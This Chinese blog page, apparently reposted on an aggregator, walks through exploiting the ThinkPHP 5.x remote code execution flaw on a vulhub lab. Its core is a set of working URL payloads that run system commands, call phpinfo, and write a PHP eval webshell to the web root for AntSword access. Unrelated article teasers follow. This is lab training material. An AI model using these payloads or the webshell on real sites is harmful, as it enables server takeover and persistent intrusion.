Thinkphp5x远程命令执行 靶场攻略

news/2024/9/28 7:33:44/

环境配置

云服务器：47.113.231.0:8080
靶场：vulhub/php>thinkphp/5-rce
docker-compose up -d #启动环境

漏洞复现

1.访问靶场：http://47.113.231.0:8080/

2.远程命令执⾏

POC：
?
s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
[]=whoami

3.远程代码执行

POC：
?
s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[
1][]=-1

4.写入一句话木马到根目录下的shw.php

POC：
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST[cmd]);?>" > shw.php

5.蚁剑连接


http://www.ppmy.cn/news/1531472.html

相关文章

openEuler 修改网卡和常用网络配置

openEuler 修改网卡和常用网络配置

简介 1、网卡启用、禁用和查看状态 2、编辑网卡&#xff0c;配置静态Ip 3、删除之前网卡缓存的Ip 4、机器即连接内网&#xff0c;又连接外网 的网卡配置 5、openEuler 修改默认的镜像仓库&#xff08;推荐&#xff09;1、网卡启用、禁用和查看状态 # 查看网络状态 nmcli devi…
阅读更多...
【Webpack】使用 Webpack 和 LocalStorage 实现静态资源的离线缓存

【Webpack】使用 Webpack 和 LocalStorage 实现静态资源的离线缓存

基本流程 1&#xff09;使用 Webpack 进行资源打包&#xff1a; 安装 Webpack 及其相关插件。配置 Webpack&#xff0c;将静态资源打包到特定目录。 2&#xff09;配置 Service Worker&#xff1a; 安装 workbox-webpack-plugin 插件。配置 Service Worker&#xff0c;通过…
阅读更多...
【小小的脑袋，大大的疑问？】如何在Zookeeper中配置集群?

【小小的脑袋，大大的疑问？】如何在Zookeeper中配置集群?

在Zookeeper中配置集群涉及多个步骤&#xff0c;以确保集群的稳定性和高效运行。以下是一个详细的配置流程&#xff1a; 一、环境准备 选择服务器&#xff1a; 选择合适数量的服务器&#xff0c;通常为奇数&#xff08;如3台、5台等&#xff09;&#xff0c;以避免脑裂问题。确…
阅读更多...
xpath在爬虫中的应用、xpath插件的安装及使用

xpath在爬虫中的应用、xpath插件的安装及使用

安装 1、打开谷歌浏览器进入扩展程序安装页面(右上角会有"开发者模式按钮")默认是关闭的&#xff0c;当安装此插件时需要把开发者模式打开。 2、下载下来的xpath_helper是zip格式的&#xff0c;需要解压缩即可安装。 3、重启浏览器&#xff0c;再次点击扩展程序即…
阅读更多...
Unity XR 环境检测

Unity XR 环境检测

需求&#xff1a; 检测环境是XR还是手机 代码&#xff1a; using UnityEngine.XR;public class EnvmentUtility {/// <summary>/// 是否是XR环境/// </summary>/// <returns>如果是XR&#xff0c;返回true&#xff0c;否则false</returns>public sta…
阅读更多...
Docker安装和配置MySQL 5.7的完整指南

Docker安装和配置MySQL 5.7的完整指南

本指南将详细介绍如何使用Docker安装MySQL 5.7,并进行全面的配置。我们将涵盖从基本安装到性能优化、安全设置、备份策略和监控等各个方面。 1. 准备工作 首先,确保您的系统已经安装了Docker。如果没有,请参考Docker官方文档进行安装。 2. 创建目录结构 创建以下目录结构来…
阅读更多...
前端大模型入门：使用Transformers.js实现纯网页版RAG（一）

前端大模型入门：使用Transformers.js实现纯网页版RAG（一）

我将使用两篇文章的篇幅&#xff0c;教大家如何实现一个在网页中运行的RAG系统。本文将其前一半功能&#xff1a;深度搜索。 通过这篇文章&#xff0c;你可以了解如何在网页中利用模型实现文本相似度计算、问答匹配功能&#xff0c;所有的推理都在浏览器端本地执行&#xff0c;…
阅读更多...
Paddlets时间序列集成模型回测实战：MLPRegressor、NHiTSModel与RNNBlockRegressor

Paddlets时间序列集成模型回测实战：MLPRegressor、NHiTSModel与RNNBlockRegressor

好的，我们继续深入理解代码的每个部分。以下是每个主要模块的详细解释： 1. 导入模块和库 import json import os import glob import pandas as pd from tqdm import tqdm from paddlets.datasets import TSDataset from paddlets.transform import StandardScaler from pa…
阅读更多...
最新文章

Copyright @ 2022~2023